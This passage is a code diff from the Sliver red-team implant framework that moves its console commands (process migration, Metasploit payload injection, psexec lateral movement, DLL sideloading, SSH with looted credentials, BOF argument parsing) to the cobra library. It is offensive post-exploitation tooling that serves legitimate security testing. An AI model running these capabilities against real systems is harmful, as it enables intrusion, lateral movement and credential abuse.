-	pid := ctx.Flags.Uint("pid")
-	procName := ctx.Flags.String("process-name")
+	pid, _ := cmd.Flags().GetUint32("pid")
+	procName, _ := cmd.Flags().GetString("process-name")
 	if pid == 0 && procName == "" {
 		con.PrintErrorf("Error: Must specify either a PID or process name\n")
 		return
 	}
-	if procName != "" {
-		procCtrl := make(chan bool)
-		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
-		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-			Request: con.ActiveTarget.Request(ctx),
-		})
-		if err != nil {
-			con.PrintErrorf("Error: %v\n", err)
-			return
-		}
-		procCtrl <- true
-		<-procCtrl
-		for _, p := range proc.GetProcesses() {
-			if strings.ToLower(p.Executable) == strings.ToLower(procName) {
-				pid = uint(p.Pid)
-				break
-			}
-		}
-		if pid == 0 {
-			con.PrintErrorf("Error: Could not find process %s\n", procName)
-			return
-		}
-		con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
+
+	var config *clientpb.ImplantConfig
+	var implantName string
+
+	if session != nil {
+		config = con.GetActiveSessionConfig()
+		implantName = session.Name
+	} else {
+		config = con.GetActiveBeaconConfig()
+		implantName = beacon.Name
 	}
-	config := con.GetActiveSessionConfig()
+
 	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if ctx.Flags.Bool("disable-sgn") {
+	if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
 		encoder = clientpb.ShellcodeEncoder_NONE
 	}

 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+	if pid != 0 {
+		con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+	} else {
+		con.SpinUntil(fmt.Sprintf("Migrating into %s...", procName), ctrl)
+	}
+
+	/* If the HTTP C2 Config name is not defined, then put in the default value
+	   This will have no effect on implants that do not use HTTP C2
+	   Also this should be overridden when the build info is pulled from the
+	   database, but if there is no build info and we have to create the build
+	   from scratch, we need to have something in here.
+	*/
+	if config.HTTPC2ConfigName == "" {
+		config.HTTPC2ConfigName = consts.DefaultC2Profile
+	}

 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
-		Pid:     uint32(pid),
-		Config:  config,
-		Request: con.ActiveTarget.Request(ctx),
-		Encoder: encoder,
+		Pid:      pid,
+		Config:   config,
+		Request:  con.ActiveTarget.Request(cmd),
+		Encoder:  encoder,
+		Name:     implantName,
+		ProcName: procName,
 	})
 	ctrl <- true
 	<-ctrl
@@ -87,9 +91,32 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Error: %v", err)
 		return
 	}
-	if !migrate.Success {
-		con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
-		return
+	if migrate.Response != nil && migrate.Response.Async {
+		con.AddBeaconCallback(migrate.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, migrate)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+			}
+			if !migrate.Success {
+				if migrate.GetResponse().GetErr() != "" {
+					con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
+				} else {
+					con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
+				}
+				return
+			}
+			con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
+		})
+		con.PrintAsyncResponse(migrate.Response)
+	} else {
+		if !migrate.Success {
+			if migrate.GetResponse().GetErr() != "" {
+				con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
+			} else {
+				con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
+			}
+			return
+		}
+		con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
 	}
-	con.PrintInfof("Successfully migrated to %d\n", pid)
 }
@@ -26,31 +26,30 @@ import (
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
 )

-// MsfInjectCmd - Inject a metasploit payload into a remote process
-func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// MsfInjectCmd - Inject a metasploit payload into a remote process.
+func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	payloadName := ctx.Flags.String("payload")
-	lhost := ctx.Flags.String("lhost")
-	lport := ctx.Flags.Int("lport")
-	encoder := ctx.Flags.String("encoder")
-	iterations := ctx.Flags.Int("iterations")
-	pid := ctx.Flags.Int("pid")
+	payloadName, _ := cmd.Flags().GetString("payload")
+	lhost, _ := cmd.Flags().GetString("lhost")
+	lport, _ := cmd.Flags().GetInt("lport")
+	encoder, _ := cmd.Flags().GetString("encoder")
+	iterations, _ := cmd.Flags().GetInt("iterations")
+	pid, _ := cmd.Flags().GetInt("pid")

 	if lhost == "" {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
 	if pid == -1 {
-		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr)
 		return
 	}
 	var goos string
@@ -68,7 +67,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
-		Request:    con.ActiveTarget.Request(ctx),
+		Request:    con.ActiveTarget.Request(cmd),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -98,8 +97,8 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-// PrintMsfRemote - Print the results of the remote injection attempt
-func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
+// PrintMsfRemote - Print the results of the remote injection attempt.
+func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) {
 	if msfRemote.Response == nil {
 		con.PrintErrorf("Empty response from msf payload injection task")
 		return
@@ -25,23 +25,22 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
 )

-// MsfCmd - Inject a metasploit payload into the current remote process
-func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// MsfCmd - Inject a metasploit payload into the current remote process.
+func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	payloadName := ctx.Flags.String("payload")
-	lhost := ctx.Flags.String("lhost")
-	lport := ctx.Flags.Int("lport")
-	encoder := ctx.Flags.String("encoder")
-	iterations := ctx.Flags.Int("iterations")
+	payloadName, _ := cmd.Flags().GetString("payload")
+	lhost, _ := cmd.Flags().GetString("lhost")
+	lport, _ := cmd.Flags().GetInt("lport")
+	encoder, _ := cmd.Flags().GetString("encoder")
+	iterations, _ := cmd.Flags().GetInt("iterations")

 	if lhost == "" {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
@@ -62,7 +61,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
-		Request:    con.ActiveTarget.Request(ctx),
+		Request:    con.ActiveTarget.Request(cmd),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -21,42 +21,40 @@ package exec
 import (
 	"context"
 	"fmt"
+	insecureRand "math/rand"
 	"os"
 	"strings"
 	"time"

-	insecureRand "math/rand"
-
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

 // PsExecCmd - psexec command implementation.
-func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	hostname := ctx.Args.String("hostname")
+	hostname := args[0]
 	if hostname == "" {
 		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
 	var serviceBinary []byte
-	profile := ctx.Flags.String("profile")
-	serviceName := ctx.Flags.String("service-name")
-	serviceDesc := ctx.Flags.String("service-description")
-	binPath := ctx.Flags.String("binpath")
-	customExe := ctx.Flags.String("custom-exe")
-	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
+	profile, _ := cmd.Flags().GetString("profile")
+	serviceName, _ := cmd.Flags().GetString("service-name")
+	serviceDesc, _ := cmd.Flags().GetString("service-description")
+	binPath, _ := cmd.Flags().GetString("binpath")
+	customExe, _ := cmd.Flags().GetString("custom-exe")
+	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))

 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
 		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
@@ -105,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	filename := randomFileName()
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
+	uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -113,7 +111,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Encoder: "gzip",
 		Data:    uploadGzip,
 		Path:    filePath,
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	uploadCtrl <- true
 	<-uploadCtrl
@@ -136,7 +134,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
 		BinPath:            binaryPath,
 		Hostname:           hostname,
-		Request:            con.ActiveTarget.Request(ctx),
+		Request:            con.ActiveTarget.Request(cmd),
 		ServiceDescription: serviceDesc,
 		ServiceName:        serviceName,
 		Arguments:          "",
@@ -159,7 +157,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Hostname:    hostname,
 			ServiceName: serviceName,
 		},
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	removeChan <- true
 	<-removeChan
@@ -174,8 +172,17 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }

+func randomString() string {
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	str := ""
+	for index := 0; index < insecureRand.Intn(8)+1; index++ {
+		str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	return str
+}
+
 func randomFileName() string {
-	noun, _ := codenames.RandomNoun()
+	noun := randomString()
 	noun = strings.ToLower(noun)
 	switch insecureRand.Intn(3) {
 	case 0:
@@ -28,43 +28,54 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 )

-// SideloadCmd - Sideload a shared library on the remote system
-func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// SideloadCmd - Sideload a shared library on the remote system.
+func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	binPath := ctx.Args.String("filepath")
+	if len(args) < 1 {
+		cmd.Usage()
+		return
+	}

-	entryPoint := ctx.Flags.String("entry-point")
-	processName := ctx.Flags.String("process")
-	args := strings.Join(ctx.Args.StringList("args"), " ")
+	binPath := args[0]
+	var binArgs []string
+	if len(args) > 1 {
+		binArgs = args[1:]
+	}
+
+	entryPoint, _ := cmd.Flags().GetString("entry-point")
+	processName, _ := cmd.Flags().GetString("process")
+	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
+	isUnicode, _ := cmd.Flags().GetBool("unicode")
+	pPid, _ := cmd.Flags().GetUint32("ppid")

 	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
-	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
 	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
+	con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-		Request:     con.ActiveTarget.Request(ctx),
-		Args:        args,
+		Request:     con.ActiveTarget.Request(cmd),
+		Args:        binArgs,
 		Data:        binData,
 		EntryPoint:  entryPoint,
 		ProcessName: processName,
-		Kill:        !ctx.Flags.Bool("keep-alive"),
+		Kill:        !keepAlive,
 		IsDLL:       isDLL,
-		IsUnicode:   ctx.Flags.Bool("unicode"),
-		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		IsUnicode:   isUnicode,
+		PPid:        pPid,
 		ProcessArgs: processArgs,
 	})
 	ctrl <- true
@@ -83,26 +94,28 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				return
 			}

-			HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
+			HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
 		})
 		con.PrintAsyncResponse(sideload.Response)
 	} else {
-		HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
+		HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
 	}
 }

-func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
+func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")

 	if sideload.GetResponse().GetErr() != "" {
 		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}

-	PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+	save, _ := cmd.Flags().GetBool("save")
+
+	PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)

 	if saveLoot {
-		LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
+		LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
 	}
 }
@@ -22,25 +22,29 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"strings"

 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 )

-// SpawnDllCmd - Spawn execution of a DLL on the remote system
-func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// SpawnDllCmd - Spawn execution of a DLL on the remote system.
+func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-	dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
-	binPath := ctx.Args.String("filepath")
-	processName := ctx.Flags.String("process")
-	exportName := ctx.Flags.String("export")
+	binPath := args[0]
+	var dllArgs []string
+	if len(args) > 1 {
+		dllArgs = args[1:]
+	}
+
+	processName, _ := cmd.Flags().GetString("process")
+	exportName, _ := cmd.Flags().GetString("export")
+	keepAlive, _ := cmd.Flags().GetBool("keep-alive")

 	binData, err := os.ReadFile(binPath)
 	if err != nil {
@@ -54,8 +58,8 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Args:        dllArgs,
 		EntryPoint:  exportName,
-		Request:     con.ActiveTarget.Request(ctx),
-		Kill:        !ctx.Flags.Bool("keep-alive"),
+		Request:     con.ActiveTarget.Request(cmd),
+		Kill:        !keepAlive,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -73,26 +77,28 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				return
 			}

-			HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
+			HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
 		})
 		con.PrintAsyncResponse(spawndll.Response)
 	} else {
-		HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
+		HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
 	}
 }

-func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
+func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")

 	if spawndll.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}

-	PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+	save, _ := cmd.Flags().GetBool("save")
+
+	PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)

 	if saveLoot {
-		LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
+		LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
 	}
 }
@@ -24,16 +24,15 @@ import (
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 )

-// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
-func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out).
+func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	var (
 		privKey []byte
 		err     error
@@ -43,13 +42,13 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}

-	username := ctx.Flags.String("login")
+	username, _ := cmd.Flags().GetString("login")
 	if username == "" {
 		username = session.GetUsername()
 	}

-	port := ctx.Flags.Uint("port")
-	privateKeyPath := ctx.Flags.String("private-key")
+	port, _ := cmd.Flags().GetUint("port")
+	privateKeyPath, _ := cmd.Flags().GetString("private-key")
 	if privateKeyPath != "" {
 		privKey, err = os.ReadFile(privateKeyPath)
 		if err != nil {
@@ -57,13 +56,14 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 	}
-	password := ctx.Flags.String("password")
+	password, _ := cmd.Flags().GetString("password")

-	hostname := ctx.Args.String("hostname")
-	command := ctx.Args.StringList("command")
-	kerberosRealm := ctx.Flags.String("kerberos-realm")
-	kerberosConfig := ctx.Flags.String("kerberos-config")
-	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
+	hostname := args[0]
+	command := args[1:]
+
+	kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
+	kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
+	kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")

 	if kerberosRealm != "" && kerberosKeytabFile == "" {
 		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
@@ -78,7 +78,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}

-	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
+	skipLoot, _ := cmd.Flags().GetBool("skip-loot")
+
+	if password == "" && len(privKey) == 0 && !skipLoot {
 		oldUsername := username
 		username, password, privKey = tryCredsFromLoot(con)
 		if username == "" {
@@ -96,7 +98,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Realm:    kerberosRealm,
 		Krb5Conf: kerberosConfig,
 		Keytab:   kerberosKeytab,
-		Request:  con.ActiveTarget.Request(ctx),
+		Request:  con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -117,8 +119,8 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-// PrintSSHCmd - Print the ssh command response
-func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
+// PrintSSHCmd - Print the ssh command response.
+func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) {
 	if sshCmd.Response != nil && sshCmd.Response.Err != "" {
 		con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
 		if sshCmd.StdErr != "" {
@@ -136,7 +138,7 @@ func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient)
 	}
 }

-func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
+func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) {
 	var (
 		username string
 		password string
@@ -146,18 +148,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
 	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
 	survey.AskOne(prompt, &confirm, nil)
 	if confirm {
-		cred, err := loot.SelectCredentials(con)
-		if err != nil {
-			con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
-		} else {
-			switch cred.CredentialType {
-			case clientpb.CredentialType_API_KEY:
-				privKey = []byte(cred.Credential.APIKey)
-			case clientpb.CredentialType_USER_PASSWORD:
-				username = cred.Credential.User
-				password = cred.Credential.Password
-			}
-		}
+		// cred, err := loot.SelectCredentials(con)
+		// if err != nil {
+		// 	con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		// } else {
+		// 	switch cred.CredentialType {
+		// 	case clientpb.CredentialType_API_KEY:
+		// 		privKey = []byte(cred.Credential.APIKey)
+		// 	case clientpb.CredentialType_USER_PASSWORD:
+		// 		username = cred.Credential.User
+		// 		password = cred.Credential.Password
+		// 	}
+		// }
 	}
 	return username, password, privKey
 }
@@ -0,0 +1,68 @@
+package exit
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/spf13/cobra"
+)
+
+// ExitCmd - Exit the console.
+func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	fmt.Println("Exiting...")
+	if con.IsServer {
+		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			os.Exit(1)
+		}
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			os.Exit(1)
+		}
+		if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
+			con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
+			confirm := false
+			prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return
+			}
+		}
+	}
+	os.Exit(0)
+}
+
+// Commands returns the `exit` command.
+func Command(con *console.SliverClient) []*cobra.Command {
+	return []*cobra.Command{{
+		Use:   "exit",
+		Short: "Exit the program",
+		Run: func(cmd *cobra.Command, args []string) {
+			ExitCmd(cmd, con, args)
+		},
+		GroupID: constants.GenericHelpGroup,
+	}}
+}
@@ -0,0 +1,413 @@
+package extensions
+
+import (
+	"bytes"
+	"flag"
+	"fmt"
+	"os"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/spf13/cobra"
+)
+
+// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
+// and converts them to a BOF-compatible binary buffer
+func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
+	// Create a flag set and parse the arguments
+	fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
+	if err != nil {
+		return nil, err
+	}
+
+	// Print debug information about parsed flags
+	//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
+
+	// Initialize the BOF arguments buffer
+	argsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+
+	// Process arguments and build the buffer
+	missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
+		stringValues, wstringValues, intValues, shortValues, fileValues)
+	if err != nil {
+		return nil, err
+	}
+
+	// Return error if we have missing required arguments
+	if len(missingRequiredArgs) > 0 {
+		return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
+	}
+
+	// Get the final binary buffer
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, fmt.Errorf("failed to get buffer: %v", err)
+	}
+
+	return parsedArgs, nil
+}
+
+// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
+// and parses the provided arguments
+func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
+	map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
+
+	// Create a new FlagSet
+	fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
+
+	// Maps to store flag value pointers
+	stringValues := make(map[string]*string)
+	intValues := make(map[string]*int)
+	shortValues := make(map[string]*int)
+	fileValues := make(map[string]*string) // Path to file data
+	wstringValues := make(map[string]*string)
+
+	// Define expected flags based on manifest arguments
+	for _, arg := range ext.Arguments {
+		flagName := arg.Name
+		flagDesc := arg.Desc
+
+		switch arg.Type {
+		case "string":
+			stringValues[flagName] = fs.String(flagName, "", flagDesc)
+		case "wstring":
+			wstringValues[flagName] = fs.String(flagName, "", flagDesc)
+		case "int", "integer":
+			intValues[flagName] = fs.Int(flagName, 0, flagDesc)
+		case "short":
+			shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
+		case "file":
+			fileValues[flagName] = fs.String(flagName, "", flagDesc)
+		default:
+			return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
+		}
+	}
+
+	// Parse the arguments
+	if err := fs.Parse(args); err != nil {
+		return nil, nil, nil, nil, nil, nil, err
+	}
+
+	return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
+}
+
+// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
+// Returns a list of missing required arguments and any error encountered
+func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
+	stringValues, wstringValues map[string]*string,
+	intValues, shortValues map[string]*int,
+	fileValues map[string]*string) ([]string, error) {
+
+	missingRequiredArgs := make([]string, 0)
+
+	for _, argDef := range ext.Arguments {
+		var provided bool
+		var err error
+
+		// Process based on argument type
+		switch argDef.Type {
+		case "string":
+			provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
+		case "wstring":
+			provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
+		case "int", "integer":
+			provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
